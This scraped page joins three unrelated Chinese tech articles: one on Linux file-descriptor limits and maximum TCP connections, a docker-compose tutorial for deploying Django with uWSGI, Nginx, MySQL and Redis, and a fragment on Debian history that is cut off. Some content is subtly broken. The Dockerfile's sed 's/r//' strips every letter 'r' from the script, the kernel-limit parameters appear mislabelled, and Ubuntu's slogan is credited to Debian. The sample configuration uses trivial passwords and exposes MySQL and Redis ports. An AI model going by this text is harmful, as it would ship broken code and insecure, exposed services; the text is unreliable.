一台服务器最大能支持多少条 TCP 连接

推荐关注↓

作者:文攀

https://juejin.cn/post/7162824884597293086

一、一台服务器最大能打开的文件数

1、限制参数

我们知道在Linux中一切皆文件,那么一台服务器最大能打开多少个文件呢?Linux上能打开的最大文件数量受三个参数影响,分别是:

  • fs.file-max (系统级别参数):该参数描述了整个系统可以打开的最大文件数量。但是root用户不会受该参数限制(比如:现在整个系统打开的文件描述符数量已达到fs.file-max ,此时root用户仍然可以使用ps、kill等命令或打开其他文件描述符)
  • soft nofile(进程级别参数):限制单个进程上可以打开的最大文件数。只能在Linux上配置一次,不能针对不同用户配置不同的值
  • fs.nr_open(进程级别参数):限制单个进程上可以打开的最大文件数。可以针对不同用户配置不同的值

这三个参数之间还有耦合关系,所以配置值的时候还需要注意以下三点:

  1. 如果想加大soft nofile,那么hard nofile参数值也需要一起调整。如果因为hard nofile参数值设置的低,那么soft nofile参数的值设置的再高也没有用,实际生效的值会按照二者最低的来。

  2. 如果增大了hard nofile,那么fs.nr_open也都需要跟着一起调整(fs.nr_open参数值一定要大于hard nofile参数值)。如果不小心把hard nofile的值设置的比fs.nr_open还大,那么后果比较严重。会导致该用户无法登录,如果设置的是*,那么所有用户都无法登录

  3. 如果加大了fs.nr_open,但是是用的echo “xxx” > ../fs/nr_open命令来修改的fs.nr_open的值,那么刚改完可能不会有问题,但是只要机器一重启,那么之前通过echo命令设置的fs.nr_open值便会失效,用户还是无法登录。所以非常不建议使用echo的方式修改内核参数!!!

2、调整服务器能打开的最大文件数示例

假设想让进程可以打开100万个文件描述符,这里用修改conf文件的方式给出一个建议。如果日后工作里有类似的需求可以作为参考。

  • vim /etc/sysctl.conf
fs.file-max=1100000 // 系统级别设置成110万,多留点buffer
fs.nr_open=1100000 // 进程级别也设置成110万,因为要保证比 hard nofile大
  • 使上面的配置生效sysctl -p

  • vim /etc/security/limits.conf

// 用户进程级别都设置成100完
soft nofile 1000000
hard nofile 1000000

二、一台服务器最大能支持多少连接

我们知道TCP连接,从根本上看其实就是client和server端在内存中维护的一组【socket内核对象】(这里也对应着TCP四元组:源IP、源端口、目标IP、目标端口),他们只要能够找到对方,那么就算是一条连接。那么一台服务器最大能建立多少条连接呢?

  • 由于TCP连接本质上可以理解为是client-server端的一对socket内核对象,那么从理论上将应该是【2^32 (ip数) * 2^16 (端口数)】条连接(约等于两百多万亿)
  • 但是实际上由于受其他软硬件的影响,我们一台服务器不可能能建立这么多连接(主要是受CPU和内存限制)。

如果只以ESTABLISH状态的连接来算(这些连接只是建立,但是不收发数据也不处理相关的业务逻辑)那么一台服务器最大能建立多少连接呢?以一台4GB内存的服务器为例!

  • 这种情况下,那么能建立的连接数量主要取决于【内存的大小】(因为如果是)ESTABLISH状态的空闲连接,不会消耗CPU(虽然有TCP保活包传输,但这个影响非常小,可以忽略不计)
  • 我们知道一条ESTABLISH状态的连接大约消耗【3.3KB内存】,那么通过计算得知一台4GB内存的服务器,【可以建立100w+的TCP连接】(当然这里只是计算所有的连接都只建立连接但不发送和处理数据的情况,如果真实场景中有数据往来和处理(数据接收和发送都需要申请内存,数据处理便需要CPU),那便会消耗更高的内存以及占用更多的CPU,并发不可能达到100w+)

上面讨论的都是进建立连接的理想情况,在现实中如果有频繁的数据收发和处理(比如:压缩、加密等),那么一台服务器能支撑1000连接都算好的了,所以一台服务器能支撑多少连接还要结合具体的场景去分析,不能光靠理论值去算。抛开业务逻辑单纯的谈并发没有太大的实际意义。

服务器的开销大头往往并不是连接本身,而是每条连接上的数据收发,以及请求业务逻辑处理!!!

三、一台客户端机器最多能发起多少条连接

我们知道客户端每和服务端建立一个连接便会消耗掉client端一个端口。一台机器的端口范围是【0 ~ 65535】,那么是不是说一台client机器最多和一台服务端机器建立65535个连接呢(这65535个端口里还有很多保留端口,可用端口可能只有64000个左右)?

由TCP连接的四元组特性可知,只要四元组里某一个元素不同,那么就认为这是不同的TCP连接。所以需要分情况讨论:

  • 【情况一】、如果一台client仅有一个IP,server端也仅有一个IP并且仅启动一个程序,监听一个端口的情况下,client端和这台server端最大可建立的连接条数就是 65535 个。

因为源IP固定,目标IP和端口固定,四元组中唯一可变化的就是【源端口】,【源端口】的可用范围又是【0 ~ 65535】,所以一台client机器最大能建立65535个连接

  • 【情况二】、如果一台client有多个IP(假设客户端有 n 个IP),server端仅有一个IP并且仅启动一个程序,监听一个端口的情况下,一台client机器最大能建立的连接条数是:n * 65535 个

因为目标IP和端口固定,有 n 个源IP,四元组中可变化的就是【源端口】+ 【源IP】,【源端口】的可用范围又是【0 ~ 65535】,所以一个IP最大能建立65535个连接,那么n个IP最大就能建立 n * 65535个连接了

以现在的技术,给一个client分配多个IP是非常容易的事情,只需要去联系你们网管就可以做到。

  • 【情况三】、如果一台client仅有一个IP,server端也仅有一个IP但是server端启动多个程序,每个程序监听一个端口的情况下(比如server端启动了m个程序,监听了m个不同端口),一台client机器最大能建立的连接数量为:65535 * m

源IP固定,目标IP固定,目标端口数量为m个,可变化的是源端口,而源端口变化范围是【0 ~ 65535】,所以一台client机器最大能建立的TCP连接数量是 65535 * m个

  • 其余情况类推,但是客户端的可用端口范围一般达不到65535个,受内核参数net.ipv4.ip_local_port_range限制,如果要修改client所能使用的端口范围,可以修改这个内核参数的值。

  • 所以,不光是一台server端可以接收100w+个TCP连接,一台client照样能发出100w+个连接

四、其他

  • 三次握手里socket的全连接队列长度由参数net.core.somaxconn来控制,默认大小是128,当两台机器离的非常近,但是建立连接的并发又非常高时,可能会导致半连接队列或全连接队列溢出,进而导致server端丢弃握手包。然后造成client超时重传握手包(至少1s以后才会重传),导致三次握手连接建立耗时过长。我们可以调整参数net.core.somaxconn来增加去按连接队列的长度,进而减小丢包的影响

  • 有时候我们通过 ctrl + c方式来终止了某个进程,但是当重启该进程的时候发现报错端口被占用,这种问题是因为【操作系统还没有来得及回收该端口,等一会儿重启应用就好了】

  • client程序在和server端建立连接时,如果client没有调用bind方法传入指定的端口,那么client在和server端建立连接的时候便会自己随机选择一个端口来建立连接。一旦我们client程序调用了bind方法传入了指定的端口,那么client将会使用我们bind里指定的端口来和server建立连接。所以不建议client调用bind方法,bind函数会改变内核选择端口的策略

public static void main(String[] args) throws IOException {
    SocketChannel sc = SocketChannel.open();
   // 客户端还可以调用bind方法
    sc.bind(new InetSocketAddress("localhost", 9999));
    sc.connect(new InetSocketAddress("localhost", 8080));
    System.out.println("waiting..........");
}
  • 在Linux一切皆文件,当然也包括之前TCP连接中说的socket。进程打开一个socket的时候需要创建好几个内核对象,换一句直白的话说就是打开文件对象吃内存,所以Linux系统基于安全角度考虑(比如:有用户进程恶意的打开无数的文件描述符,那不得把系统搞奔溃了),在多个位置都限制了可打开的文件描述符的数量。

  • 内核是通过【hash表】的方式来管理所有已经建立好连接的socket,以便于有请求到达时快速的通过【TCP四元组】查找到内核中对应的socket对象

在epoll模型中,通过红黑树来管理epoll对象所管理的所有socket,用红黑树结构来平衡快速删除、插入、查找socket的效率

五、相关实际问题

在网络开发中,很多人对一个基础问题始终没有彻底搞明白,那就是一台机器最多能支撑多少条TCP连接。不过由于客户端和服务端对端口使用方式不同,这个问题拆开来理解要容易一些。

注意,这里说的是客户端和服务端都只是角色,并不是指某一台具体的机器。例如对于我们自己开发的应用程序来说,当他响应客户端请求的时候,他就是服务端。当他向MySQL请求数据的时候,他又变成了客户端。

1、”too many open files” 报错是怎么回事,该如何解决

你在线上可能遇到过too many open files这个错误,那么你理解这个报错发生的原理吗?如果让你修复这个错误,应该如何处理呢?

  • 因为每打开一个文件(包括socket),都需要消耗一定的内存资源。为了避免个别进程不受控制的打开了过多文件而让整个服务器奔溃,Linux对打开的文件描述符数量有限制。如果你的进程触发到内核的限制,那么”too many open files” 报错就产生了
  • 可以通过修改fs.file-max 、soft nofile、fs.nr_open这三个参数的值来修改进程能打开的最大文件描述符数量

需要注意这三个参数之间的耦合关系!

2、一台服务端机器最大究竟能支持多少条连接

因为这里要考虑的是最大数,因此先不考虑连接上的数据收发和处理,仅考虑ESTABLISH状态的空连接。那么一台服务端机器上最大可以支持多少条TCP连接?这个连接数会受哪些因素的影响?

  • 在不考虑连接上数据的收发和处理的情况下,仅考虑ESTABLISH状态下的空连接情况下,一台服务器上最大可支持的TCP连接数量基本上可以说是由内存大小来决定的。
  • 四元组唯一确定一条连接,但服务端可以接收来自任意客户端的请求,所以根据这个理论计算出来的数字太大,没有实际意义。另外文件描述符限制其实也是内核为了防止某些应用程序不受限制的打开【文件句柄】而添加的限制。这个限制只要修改几个内核参数就可以加大。
  • 一个socket大约消耗3kb左右的内存,这样真正制约服务端机器最大并发数的就是内存,拿一台4GB内存的服务器来说,可以支持的TCP连接数量大约是100w+

3、一条客户端机器最大究竟能支持多少条连接

和服务端不同的是,客户端每次建立一条连接都需要消耗一个端口。在TCP协议中,端口是一个2字节的整数,因此范围只能是0~65535。那么客户单最大只能支持65535条连接吗?有没有办法突破这个限制,有的话有哪些办法?

  • 客户度每次建立一条连接都需要消耗一个端口。从数字上来看,似乎最多只能建立65535条连接。但实际上我们有两种办法破除65535这个限制

方式一,为客户端配置多IP 方式二,分别连接不同的服务端

  • 所以一台client发起百万条连接是没有任何问题的

4、做一个长连接推送产品,支持1亿用户需要多少台机器

假设你是系统架构师,现在老板给你一个需求,让你做一个类似友盟upush这样的产品。要在服务端机器上保持一个和客户端的长连接,绝大部分情况下连接都是空闲的,每天也就顶多推送两三次左右。总用户规模预计是1亿。那么现在请你来评估一下需要多少台服务器可以支撑这1亿条长连接。

  • 对于长连接推送模块这种服务来说,给客户端发送数据只是偶尔的,一般一天也就顶多一两次。绝大部分情况下TCP连接都是空闲的,CPU开销可以忽略
  • 再基于内存来考虑,假设服务器内存是128G的,那么一台服务器可以考虑支持500w条并发。这样会消耗掉大约不到20GB内存用来保存这500w条连接对应的socket。还剩下100GB以上的内存来应对接收、发送缓冲区等其他的开销足够了。所以,一亿用户,仅仅需要20台服务器就差不多够用了!

– EOF

Docker-compose 八步部署Django + Uwsgi + Nginx + MySQL + Redis升级篇

Django在生产环境的部署还是比较复杂的, 令很多新手望而生畏, 幸运的是使用Docker容器化技术可以大大简化我们Django在生产环境的部署并提升我们应用的可移植性。Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux机器上。

 

前文我们介绍了如何使用docker-compose八步部署Django + Uwsgi + Nginx + MySQL + Redis (多容器组合),但该教程里有很多值得改进的地方,比如:

 

  • MySQL的数据库名,用户名和密码明文写在docker-compose.yml里,实际是可以由.env文件创建的;
  • MySQL使用的版本比较老,为5.7。如果你使用MySQL 8,那么相关配置文件需要做较大修改;
  • Nginx配置文件没有挂载,每次修改需要手动将配置文件从宿主机复制一份到容器内;
  • 容器间通信使用了–links选项,这个docker已不推荐使用。本例将使用networks实现容器间通信;
  • 原文每次web容器服务启动后,需要手动进入容器内部进行数据迁移并启动uwsgi服务;
  • 原文教程排错机制讲的较少,本文将仔细讲下如何在Docker部署时排错。

本文将是docker-compose部署Django + Uwsgi + Nginx + MySQL + Redis教程的升级版,将完善前面教程不足的地方,很多配置文件将会有非常大的参考价值,建议先收藏再阅读。

 

注意:本文侧重于Docker技术在部署Django时的实际应用,而不是Docker基础教程。对Docker命令不熟悉的读者们建议先学习下Docker及Docker-compose基础命令。

Docker-compose 八步部署Django + Uwsgi + Nginx + MySQL + Redis升级篇

什么是docker-compose及docker-compose工具的安装

Docker-compose是一个用来定义和运行复杂应用的 Docker 工具。使用 docker-compose 后不再需要使用 shell 脚本来逐一创建和启动容器,还可以通过 docker-compose.yml 文件构建和管理复杂多容器组合。

Docker-compose的下载和安装很简单,网上有很多教程,我就不再详述了。这里只记录下ubuntu系统下docker-compose的安装过程。

 # Step 1: 以ubuntu为例,下载docker-compose $ sudo curl -L https://github.com/docker/compose/releases/download/1.17.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose # Step 2: 给予docker-compose可执行权限 $ sudo chmod +x /usr/local/bin/docker-compose # Step 3: 查看docker-compose版本 $ docker-compose --version

注意:安装docker-compose前必需先安装好docker。

Django + Uwsgi + Nginx + MySQL + Redis组合容器示意图

本例中我们将使用docker-compose编排并启动4个容器,这更接近于实际生成环境下的部署。

  1. Django + Uwsgi容器:核心应用程序,处理动态请求

  2. MySQL 容器:数据库服务

  3. Redis 容器:缓存服务

  4. Nginx容器:反向代理服务并处理静态资源请求

这四个容器的依赖关系是:Django+Uwsgi 容器依赖 Redis 容器和 MySQL 容器,Nginx 容器依赖Django+Uwsgi容器。为了方便容器间的相互访问和通信,我们使用docker-compose时可以给每个容器取个别名,这样访问容器时就可以直接使用别名访问,而不使用Docker临时给容器分配的IP了。

这四个容器的别名及通信端口如下图所示:

Docker-compose 八步部署Django + Uwsgi + Nginx + MySQL + Redis升级篇

Docker-compose部署Django项目布局树形图

我们新建了一个compose文件夹,专门存放用于构建其它容器镜像的Dockerfile及配置文件。compose文件夹与django项目的根目录myproject同级。这样做的好处是不同的django项目可以共享compose文件夹。

myproject_docker # 项目根目录├── compose # 存放各项容器服务的Dockerfile和配置文件│   ├── mysql│   │   ├── conf│   │   │   └── my.cnf # MySQL配置文件│   │   └── init│   │       └── init.sql # MySQL启动脚本│   ├── nginx│   │   ├── Dockerfile # 构建Nginx镜像所的Dockerfile│   │   ├── log # 挂载保存nginx容器内日志log目录│   │   ├── nginx.conf # Nginx配置文件│   │   └── ssl # 如果需要配置https需要用到│   ├── redis│   │   └── redis.conf # redis配置文件│   └── uwsgi # 挂载保存django+uwsgi容器内uwsgi日志├── docker-compose.yml # 核心编排文件└── myproject # 常规Django项目目录    ├── Dockerfile # 构建Django+Uwsgi镜像的Dockerfile    ├── apps # 存放Django项目的各个apps    ├── manage.py    ├── myproject # Django项目配置文件    │   ├── asgi.py    │   ├── __init__.py    │   ├── settings.py    │   ├── urls.py    │   └── wsgi.py    ├── pip.conf # 非必需。pypi源设置成国内,加速pip安装    ├── requirements.txt # Django项目依赖文件    ├── .env # 环境变量文件    ├── start.sh # 启动Django+Uwsgi容器后要执行的脚本    ├── media # 用户上传的媒体资源,如果没有需手动创建    ├── static #搜集项目的静态文件夹,如果没有需手动创建    └── uwsgi.ini # uwsgi配置文件

下面我们开始正式部署。

第一步:编写docker-compose.yml文件

修改过的docker-compose.yml的核心内容如下。我们定义了4个数据卷,用于挂载各个容器内动态生成的数据,比如MySQL的存储数据,redis生成的快照、django+uwsgi容器中收集的静态文件以及用户上传的媒体资源。这样即使删除容器,容器内产生的数据也不会丢失。

我们还定义了3个网络,分别为nginx_network(用于nginx和web容器间的通信),db_network(用于db和web容器间的通信)和redis_network(用于redis和web容器间的通信)。

整个编排里包含4项容器服务,别名分别为redis, db, nginxweb,接下来我们将依次看看各个容器的Dockerfile和配置文件。

version: "3"
volumes: # 自定义数据卷  db_vol: #定义数据卷同步存放容器内mysql数据  redis_vol: #定义数据卷同步存放redis数据  media_vol: #定义数据卷同步存放web项目用户上传到media文件夹的数据  static_vol: #定义数据卷同步存放web项目static文件夹的数据
networks: # 自定义网络(默认桥接), 不使用links通信  nginx_network:    driver: bridge  db_network:    driver: bridge  redis_network:     driver: bridge
services:  redis:    image: redis:latest    command: redis-server /etc/redis/redis.conf # 容器启动后启动redis服务器    networks:      - redis_network    volumes:      - redis_vol:/data # 通过挂载给redis数据备份      - ./compose/redis/redis.conf:/etc/redis/redis.conf # 挂载redis配置文件    ports:      - "6379:6379"    restart: always # always表容器运行发生错误时一直重启
  db:    image: mysql    env_file:        - ./myproject/.env # 使用了环境变量文件    networks:        - db_network    volumes:      - db_vol:/var/lib/mysql:rw # 挂载数据库数据, 可读可写      - ./compose/mysql/conf/my.cnf:/etc/mysql/my.cnf # 挂载配置文件      - ./compose/mysql/init:/docker-entrypoint-initdb.d/ # 挂载数据初始化sql脚本    ports:      - "3306:3306" # 与配置文件保持一致    restart: always
  web:    build: ./myproject    expose:      - "8000"    volumes:      - ./myproject:/var/www/html/myproject # 挂载项目代码      - static_vol:/var/www/html/myproject/static # 以数据卷挂载容器内static文件      - media_vol:/var/www/html/myproject/media # 以数据卷挂载容器内用户上传媒体文件      - ./compose/uwsgi:/tmp # 挂载uwsgi日志    networks:      - nginx_network      - db_network        - redis_network     depends_on:      - db      - redis    restart: always    tty: true    stdin_open: true
  nginx:    build: ./compose/nginx    ports:      - "80:80"      - "443:443"    expose:      - "80"    volumes:      - ./compose/nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf # 挂载nginx配置文件      - ./compose/nginx/ssl:/usr/share/nginx/ssl # 挂载ssl证书目录      - ./compose/nginx/log:/var/log/nginx # 挂载日志      - static_vol:/usr/share/nginx/html/static # 挂载静态文件      - media_vol:/usr/share/nginx/html/media # 挂载用户上传媒体文件    networks:      - nginx_network    depends_on:      - web    restart: always

第二步:编写Web (Django+Uwsgi)镜像和容器所需文件

构建Web镜像(Django+Uwsgi)的所使用的Dockerfile如下所示:

# 建立 python 3.9环境FROM python:3.9
# 安装netcatRUN apt-get update && apt install -y netcat
# 镜像作者大江狗MAINTAINER DJG
# 设置 python 环境变量ENV PYTHONDONTWRITEBYTECODE 1ENV PYTHONUNBUFFERED 1
# 可选:设置镜像源为国内COPY pip.conf /root/.pip/pip.conf
# 容器内创建 myproject 文件夹ENV APP_HOME=/var/www/html/myprojectRUN mkdir -p $APP_HOMEWORKDIR $APP_HOME
# 将当前目录加入到工作目录中(. 表示当前目录)ADD . $APP_HOME
# 更新pip版本RUN /usr/local/bin/python -m pip install --upgrade pip
# 安装项目依赖RUN pip install -r requirements/production.txt
# 移除r in windowsRUN sed -i 's/r//' ./start.sh
# 给start.sh可执行权限RUN chmod +x ./start.sh
# 数据迁移,并使用uwsgi启动服务ENTRYPOINT /bin/bash ./start.sh

本Django项目所依赖的requirements.txt内容如下所示:

# djangodjango==3.2# uwsgiuwsgi==2.0.18# mysqlmysqlclient==1.4.6# redisdjango-redis==4.12.1redis==3.5.3# for imagesPillow==8.2.0 

start.sh脚本文件内容如下所示。最重要的是最后一句,使用uwsgi.ini配置文件启动Django服务。

#!/bin/bash# 从第一行到最后一行分别表示:# 1. 等待MySQL服务启动后再进行数据迁移。nc即netcat缩写# 2. 收集静态文件到根目录static文件夹,# 3. 生成数据库可执行文件,# 4. 根据数据库可执行文件来修改数据库# 5. 用 uwsgi启动 django 服务# 6. tail空命令防止web容器执行脚本后退出while ! nc -z db 3306 ; do    echo "Waiting for the MySQL Server"    sleep 3done
python manage.py collectstatic --noinput&&python manage.py makemigrations&&python manage.py migrate&&uwsgi --ini /var/www/html/myproject/uwsgi.ini&&tail -f /dev/null
exec "$@"

uwsgi.ini配置文件如下所示: 

[uwsgi]
project=myprojectuid=www-datagid=www-database=/var/www/html
chdir=%(base)/%(project)module=%(project).wsgi:applicationmaster=Trueprocesses=2
socket=0.0.0.0:8000chown-socket=%(uid):www-datachmod-socket=664
vacuum=Truemax-requests=5000
pidfile=/tmp/%(project)-master.piddaemonize=/tmp/%(project)-uwsgi.log
#设置一个请求的超时时间(秒),如果一个请求超过了这个时间,则请求被丢弃harakiri = 60post buffering = 8192buffer-size= 65535#当一个请求被harakiri杀掉会,会输出一条日志harakiri-verbose = true
#开启内存使用情况报告memory-report = true
#设置平滑的重启(直到处理完接收到的请求)的长等待时间(秒)reload-mercy = 10
#设置工作进程使用虚拟内存超过N MB就回收重启reload-on-as= 1024

第三步:编写Nginx镜像和容器所需文件

构建Nginx镜像所使用的Dockerfile如下所示:

# nginx镜像compose/nginx/Dockerfile
FROM nginx:latest
# 删除原有配置文件,创建静态资源文件夹和ssl证书保存文件夹RUN rm /etc/nginx/conf.d/default.conf && mkdir -p /usr/share/nginx/html/static && mkdir -p /usr/share/nginx/html/media && mkdir -p /usr/share/nginx/ssl
# 设置Media文件夹用户和用户组为Linux默认www-data, 并给予可读和可执行权限,# 否则用户上传的图片无法正确显示。RUN chown -R www-data:www-data /usr/share/nginx/html/media && chmod -R 775 /usr/share/nginx/html/media
# 添加配置文件ADD ./nginx.conf /etc/nginx/conf.d/
# 关闭守护模式CMD ["nginx", "-g", "daemon off;"]

Nginx的配置文件如下所示

# nginx配置文件# compose/nginx/nginx.conf
upstream django {    ip_hash;    server web:8000; # Docker-compose web服务端口}
# 配置http请求,80端口server {    listen 80; # 监听80端口    server_name 127.0.0.1; # 可以是nginx容器所在ip地址或127.0.0.1,不能写宿主机外网ip地址
    charset utf-8;    client_max_body_size 10M; # 限制用户上传文件大小
    access_log /var/log/nginx/access.log main;    error_log /var/log/nginx/error.log warn;
    location /static {        alias /usr/share/nginx/html/static; # 静态资源路径    }
    location /media {        alias /usr/share/nginx/html/media; # 媒体资源,用户上传文件路径    }
    location / {        include /etc/nginx/uwsgi_params;        uwsgi_pass django;        uwsgi_read_timeout 600;        uwsgi_connect_timeout 600;        uwsgi_send_timeout 600;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        proxy_redirect off;        proxy_set_header X-Real-IP  $remote_addr;       # proxy_pass http://django;  # 使用uwsgi通信,而不是http,所以不使用proxy_pass。    }}

第四步:编写Db (MySQL)容器配置文件

启动MySQL容器我们直接使用官方镜像即可,不过我们需要给MySQL增加配置文件。

# compose/mysql/conf/my.cnf[mysqld]user=mysqldefault-storage-engine=INNODBcharacter-set-server=utf8secure-file-priv=NULL # mysql 8 新增这行配置default-authentication-plugin=mysql_native_password  # mysql 8 新增这行配置
port            = 3306 # 端口与docker-compose里映射端口保持一致#bind-address= localhost #一定要注释掉,mysql所在容器和django所在容器不同IP
basedir         = /usrdatadir         = /var/lib/mysqltmpdir          = /tmppid-file        = /var/run/mysqld/mysqld.pidsocket          = /var/run/mysqld/mysqld.sockskip-name-resolve  # 这个参数是禁止域名解析的,远程访问推荐开启skip_name_resolve。
[client]port = 3306default-character-set=utf8
[mysql]no-auto-rehashdefault-character-set=utf8

我们还需设置MySQL服务启动时需要执行的脚本命令, 注意这里的用户名和password必需和docker-compose.yml里与MySQL相关的环境变量(.env)保持一致。

# compose/mysql/init/init.sqlAlter user 'dbuser'@'%' IDENTIFIED WITH mysql_native_password BY 'password';GRANT ALL PRIVILEGES ON myproject.* TO 'dbuser'@'%';FLUSH PRIVILEGES;

.env文件内容如下所示:

MYSQL_ROOT_PASSWORD=123456MYSQL_USER=dbuserMYSQL_DATABASE=myprojectMYSQL_PASSWORD=password

第五步:编写Redis 容器配置文件

启动redis容器我们直接使用官方镜像即可,不过我们需要给redis增加配置文件。大部分情况下采用默认配置就好了,这里我们只做出了如下几条核心改动:

 # compose/redis/redis.conf # Redis 5配置文件下载地址 # https://raw.githubusercontent.com/antirez/redis/5.0/redis.conf
 # 请注释掉下面一行,变成#bind 127.0.0.1,这样其它机器或容器也可访问 bind 127.0.0.1
 # 取消下行注释,给redis设置登录密码。这个密码django settings.py会用到。 requirepass yourpassword

第六步:修改Django项目settings.py

在你准备好docker-compose.yml并编排好各容器的Dockerfile及配置文件后,请先不要急于使用Docker-compose命令构建镜像和启动容器。这时还有一件非常重要的事情要做,那就是修改Django的settings.py, 提供mysql和redis服务的配置信息。最重要的几项配置如下所示:

 # 生产环境设置 Debug = False Debug = False
 # 设置ALLOWED HOSTS ALLOWED_HOSTS = ['your_server_IP', 'your_domain_name']
 # 设置STATIC ROOT 和 STATIC URL STATIC_ROOT = os.path.join(BASE_DIR, 'static') STATIC_URL = "/static/"
 # 设置MEDIA ROOT 和 MEDIA URL MEDIA_ROOT = os.path.join(BASE_DIR, 'media') MEDIA_URL = "/media/"
 # 设置数据库。这里用户名和密码必需和docker-compose.yml里mysql环境变量保持一致 DATABASES = {     'default': {         'ENGINE': 'django.db.backends.mysql',         'NAME': 'myproject', # 数据库名         'USER':'dbuser', # 你设置的用户名 - 非root用户         'PASSWORD':'password', # # 换成你自己密码         'HOST': 'db', # 注意:这里使用的是db别名,docker会自动解析成ip         'PORT':'3306', # 端口     } }
 # 设置redis缓存。这里密码为redis.conf里设置的密码 CACHES = {     "default": {         "BACKEND": "django_redis.cache.RedisCache",         "LOCATION": "redis://redis:6379/1", #这里直接使用redis别名作为host ip地址         "OPTIONS": {             "CLIENT_CLASS": "django_redis.client.DefaultClient",             "PASSWORD": "yourpassword", # 换成你自己密码         },     } }

第七步:使用docker-compose 构建镜像并启动容器组服务

现在我们可以使用docker-compose命名构建镜像并启动容器组了。

 # 进入docker-compose.yml所在文件夹,输入以下命令构建镜像 sudo docker-compose build # 启动容器组服务 sudo docker-compose up

如果一切顺利,此时你应该可以看到四个容器都已经成功运行了。

Docker-compose 八步部署Django + Uwsgi + Nginx + MySQL + Redis升级篇此时打开你的浏览器,输入你服务器的ip地址或域名指向地址,你就应该可以看到网站已经上线啦。

第八步:排错

初学者使用Docker或Docker-compose部署会出现各种各样的错误,本文教你如何排错。

Nginx容器排错

容器已启动运行,网站打不开,最有用的是查看Nginx的错误日志error.log。由于我们对容器内Nginx的log进行了挂载,你在宿主机的/compose/nginx/log目录里即可查看相关日志。

 # 进入nginx日志目录,一个access.log, 一个error.log cd compose/nginx/log # 查看日志文件 sudo cat error.log

绝大部分网站打不开,Nginx日志显示nginx: connect() failed (111: Connection refused) while connecting to upstreamNginx 502 gateway的错误都不是因为nginx自身的原因,而是Web容器中Django程序有问题或则uwsgi配置文件有问题。

在进入Web容器排错前,你首先要检查下Nginx转发请求的方式(proxy_pass和uwsgi_pass)以及转发端口与uwsgi里面的监听方式以及端口是否一致。

uWSGI和Nginx之间有3种通信方式unix socket,TCP socket和http如果Nginx以proxy_pass方式转发请求,uwsgi需要使用http协议进行通信。如果Nginx以uwsgi_pass转发请求,uwsgi建议配置socket进行通信。

更多关于Nginx和Uwsgi的配置介绍见个人博客:

  • https://pythondjango.cn/python/tools/6-uwsgi-configuration/

  • https://pythondjango.cn/python/tools/5-nginx-configuration/

Web容器排错

Web容器也就是Django+UWSGI所在的容器,是最容易出现错误的容器。如果Nginx配置没问题,你应该进入web容器查看运行脚本命令时有没有报错,并检查uwsgi的运行日志。uwsgi的日志非常有用,它会记录Django程序运行时发生了哪些错误或异常。一旦发生了错误,uwsgi的进程虽然不会停止,但也无法正常工作,自然也就不能处理nginx转发的动态请求从而出现nginx报错了。 

 # 查看web容器日志 $ docker-compose logs web # 进入web容器执行启动命令,查看有无报错 $ docker-compose exec web /bin/bash start.sh # 或则进入web柔情其,逐一执行python manage.py命令 $ docker-compose exec web /bin/bash  # 进入web容器,查看uwsgi是否正常启动 $ ps aux | grep uwsgi  # 进入uwsgi日志所在目录,查看Django项目是否有报错 cd /tmp

另外一个常发生的错误是 docker-compose生成的web容器执行脚本命令后立刻退出(exited with code 0), 这时的解决方案是在docker-compose.yml中包含以下2行,  另外脚本命令里加入tail -f /dev/null是容器服务持续运行。

 stdin_open: true tty: true

有时web容器会出现不能连接到数据库的报错,这时需要检查settings.py中的数据库配置信息是否正确(比如host为db),并检查web容器和db容器是否通过db_network正常通信(比如进入db容器查看数据表是否已经生成)。在进行数据库迁移时web容器还会出现if table exists or failed to open the referenced table ‘users_user’,  inconsistent migration history的错误, 可以删除migrations目录下文件并进入MySQL容器删除django_migrations数据表即可。

数据库db容器排错

我们还需要经常进入数据库容器查看数据表是否已生成并删除一些数据,这时可以使用如下命令:

 $ docker-compose exec db /bin/bash # 登录 mysql -u usernmae -p; # 选择数据库 USE dbname; # 显示数据表 SHOW tables; # 清空数据表 DELETE from tablenames; # 删除数据表,特别是Django migrationstable DROP TABLE tablenames;

小结

本文详细地介绍了如何使用docker-compose工具分七步在生成环境下部署Django + Uwsgi + Nginx + MySQL + Redis。过程看似很复杂,但很多Dockerfile,项目布局及docker-compose.yml都是可以复用的。花时间学习并练习本章内容是非常值得的,一但你学会了,基本上可以10分钟内完成一个正式Django项目的部署,而且可以保证在任何一台Linux机器上顺利地运行。本文最后的排错文章更会助你一臂之力。

注意:整个部署过程如果遇到问题,可以给我们留言或发信息,可以节省你的时间。

相关阅读

Docker部署Django由浅入深系列(下): 八步部署Django+Uwsgi+Nginx+MySQL+Redis

如何在阿里云Ubuntu服务器通过uWSGI和Nginx部署Django项目教程-大江狗原创出品

转自:https://mp.weixin.qq.com/s?__biz=MjM5OTMyODA4Nw==&mid=2247486903&idx=1&sn=5d2172f66c0357ffaefac7c783c80867&chksm=a73c6d8f904be4999d7844a7f70f9d3aa8cc460cd18089f13924711a3261cd4c69d1c7b6933e&scene=132#wechat_redirect

管他Linus还是RMS,Debian就是这么硬气

文 | lola

策划 | h4cd

出品 | OSC开源社区(ID:oschina2013)

1993年,8月16日早上5点31分03秒,与新闻大亨 Ian Murdock 同名的普渡大学学生在 Linux 新闻组里发了一条信息,阐述了他对 Linux 的想法,最古老 Linux 发行版之一 Debian 就此诞生。
Murdock 那时候应该没有想到,Debian 会在开源历史获得如此重要的地位。
1996年,Murdock 退出 Debian 项目的领导,接手的正是 OSI(Open Source Intiative)的发起人 Bruce Perens。在他的主导下,现在官方标准的开源定义 OSD(Open Source Definition)就是从 Debian 自由软件指导方针演化而来。
身为开源界的“长老”,Debian 无论是从经济上还是意识形态上,都表现得很硬气!
Debian 的独立性不仅体现在与商业公司保持距离,它还同时在“GNU”和“Linux”两股开源不同分支之间的分歧上,采取清醒的态度。立场硬气的 Debian 口号是:“Linux for Human beings”。
管他Linus还是RMS,Debian就是这么硬气

01、谁也不能一手掌握 Debian

Rather than being developed by one isolated individual or group, as other distributions of Linux have been developed in the past, Debian is being developed openly in the spirit of Linux and GNU.
与其他 Linux 发行版本不一样,Debian不应该是由某一孤立的个体或团体发展,而应该在 Linux 和 GNU 的精神下发展下去。
